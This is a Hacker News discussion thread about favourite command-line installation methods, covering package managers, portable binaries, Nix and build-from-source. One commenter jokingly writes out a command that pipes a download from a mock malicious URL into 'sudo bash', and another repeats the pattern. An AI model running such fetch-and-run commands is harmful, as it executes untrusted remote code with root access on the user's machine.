Ask HN: What's the best CLI installation experience you've ever seen?

16 points by caprock ↗ HN
Imagine any application, server, or system that requires installation from a command line.

It could use shell scripts, custom programs, or whatever. What's the best experience and tooling you've ever seen?

55 comments

[ 3.0 ms ] story [ 77.9 ms ] thread
can't beat homebrew imo
Isn't homebrew the one that always wants to update everything all the time?
Yep. Especially fun when Homebrew doesn't provide binaries for your OS anymore and you have to compile the latest version of Rust from source just to get ripgrep.
MacPorts might be a better fit for older versions of macOS.
Also current
Whatever floats your boat :)

I like Homebrew but good alternatives can’t hurt!

Homebrew does not sign commits, code reviews, or artifacts so just be aware you are giving thousands of randos access to run anything they want on your system.
Or when it replaces an old version of a library with a new, not backwards compatible version, behind your back and breaks stuff.
You can! It’s called MacPorts and it was created by an ex-Apple employee and the creator of the original FreeBSD ports system. It’s better in almost every way, plus it has more packages.
at breaking your system?
Windows Portable Applications... copy them into a folder, and run them. No installation required.

Because there isn't a stable system interface table in Linux (i.e. INT 21, AH=9 prints a $ delimited string in MS-DOS, and has since the 1980s), you can't just run an executable.

The closest you're likely to get is Justine's APE - Actually Portable Executable[1] to get something you can distribute and just run.

[1] https://justine.lol/ape.html

That's pretty much how most Mac apps are installed.
I have a gripe with Portable Windows Apps or more precisely with a way they are distributed.

Web is filled with scams, malware, phishing or just insecure web pages.Even when a source code of a program is public and download page is genuine, how could I ever trust the binary? I can't, but I can verify the source code (or take a risk that someone already examined it) and trust transparent CI chain.

So even if it comes from the respected developer I won't run a notavirus.exe, unless it was compiled automatically in a public docker container.

P.S. Another option for more portable linux executables is musl C library + appimage.

There is AppImage[1], which packs a lot of stuff into a SquashFS filesystem, appends it to the executable, so everything is in one file.

[1] https://appimage.org

> you can't just run an executable.

Yes you can! You can run unmodified Win32 executables from the late 90s on present-day Windows systems and they work just fine. Windows has a great reputation for continuity.

There is a stable system interface, it's user32.dll and friends. You might experience a bit more pain relating to the Visual Studio runtime (vcredist) or use of COM components, but those are work-aroundable.

APE is something rather different: it's portable across different operating systems with different executable formats! Quite the technological achievement.

GP meant Linux doesn’t just let you run an executable and was making the point that MS-DOS does
> there isn't a stable system interface table in Linux

What do you mean by this? Linux is pretty good about maintaining a stable syscall ABI. Whereas my understanding is that Windows and BSDs define the compatibility boundary at the C library level.

This probably isn't in the spirit of what you're asking but watching my Dad install Red Hat using Anaconda in the late 90s was pretty sweet. I seem to recall Debian having a similar TUI that I used to load it on my long-obsolete iMac G3 back in college. Good times.

  curl https://what.could.possibly.go.wrong/totally.not/a/virus.exe | sudo bash
Personally I just contact the maintainer of the package and give them SSH and root access to my machine.
“curl | sudo bash” ;-)
this is my favourite.

it just works. this is the utopian world i am living in.

ignorance is bliss. it really is.

Static binary. Compile, move to folder, set permmissions, done.

Outside of that, NetBSD. Download "install kernel", write to media, boot, compile an entire system.

FreeBSD is also good.

Pet peeve: I see lots of tiny system projects that look very cool but only boot from qemu.

Anything packaged for Debian. apt install whatever.
pnpm. Really fast, and user-friendly. Too bad it's not backwards-compatible with npm. I use it for all of my Node.js projects, but I sadly have to use npm when jumping into the frontend of project I volunteer on.

Another one would be Nala, I used this as my day-to-day apt frontend before I switched to Fedora. It makes the UX much more better than apt for daily usage.

One-line installations: I usually don't like running multiple commands for installing a CLI tool. curl/wget the setup file and execute it. Single command -> single step -> no friction.
The best installation experience is no installation.

My favorite: Single binary Hashicorp Nomad, the same binary for client and server! Runs without sudo, straight out of /tmp.

Better than the best:

No installation, but everyone runs the same single binary straight from the shared local area network drive. :)

Naysayers: don't worry, bandwidth isn't an issue, it's a high-speed LAN, and the wire won't catch fire, even if it is FireWire.

https://en.m.wikipedia.org/wiki/IEEE_1394

You are trolling.

JNLP still sends shivers down my back.

It is still in use to this day. Hugh.. It sucked when it was new and still does just as bad.

No, I was not trolling.

Joking, about the LAN suggestion (although the method does work, it was there from Novell Netware days), but not trolling about the JNLP suggestion. I genuinely thought it would work.

I stopped using Java probably a bit before JNLP came out, so never checked it out.

What sucked about JNLP? I can google, but what was your experience with it?

IME, managing runtimes.

Not GP, but:

Oh, JRE too old? Link to download the latest? Now it accepts the JRE, but the JRE refuses it with security errors. So you turn those checks off and the jnlp runs but crashes with an obscure error. So you try another JRE until you find a version that works.

While doing this, you interact with Oracle, at all times with the fear of their lawyers, until you decide to use a foss runtime. Now you are managing runtimes from different vendors with different configs and locations.

Write once, troubleshoot everywhere.

Okay. Applets also had some of those issues, much pre-Oracle takeover of Sun and Java. Never used them much myself, although they were a potentially cool idea.
Terrible sysadmin here. I don’t understand the downvotes?
>Terrible sysadmin here.

Heh, yeah :) But they call him a moderator around here.

>I don’t understand the downvotes?

Neither does anyone else, usually, except the downvoters and their tribe :) But they think everyone else should think like them, so they downvote those who do not.

Actually, I do understand, or think I do. People are being lazy, by downvoting as a quick fly-by reflex action, instead of spending even a little time thoughtfully commenting - at least, many of them seem to be doing that.

Heavens I meant I’m the terrible sysadmin! Took me this long to get the joke!
Ha ha, no worries, it happens. I'm a tubelight too sometimes :)
sudo nixos-rebuild --flake .#nixos-linux switch
As long as your threat model does not care about supply chain attacks, nix is great.
Nix caches are signed — what additional supply-chain attacks are you thinking of? I think if the attacker gets hold of a distribution machine + a trusted private key you're in trouble no matter your distribution model — even if you download every single package you use as source, carefully read it, and then build it yourself (which of course we all do) you're still vulnerable to ‘trusting trust’–style attacks.
Signed by a central server. Not by the actual authors. One stolen Github account or one compromised build server and the whole thing comes crashing down.

Mature operating systems that have supply chain risks in their threat model like Debian, Arch, or FreeBSD, each author or maintainer signs every contribution which are verified end to end. Even a compromised Github or cloud provider employee can easily disrupt supply chains structured this way.

In recent distributions like Nix and Alpine, contributors complained that generating a PGP key is too hard, so they just decided to yolo it as though NPM security was something to aspire to.

Even proprietary operating systems like MacOS require code signing. Not mandating this is crazy.

IMO anyone unwilling to learn how to maintain a personal identity key of some kind has no business maintaining packages for widely used operating system.

The symfony-cli is pretty sweet to setup new projects and add dependencies.
make -j5

sudo make install

also it's really great when `sudo make uninstall` works

./configure && make && sudo make install
zerotier cli url to shell

also npm packages that can be executed with npx

getting it from linux package manager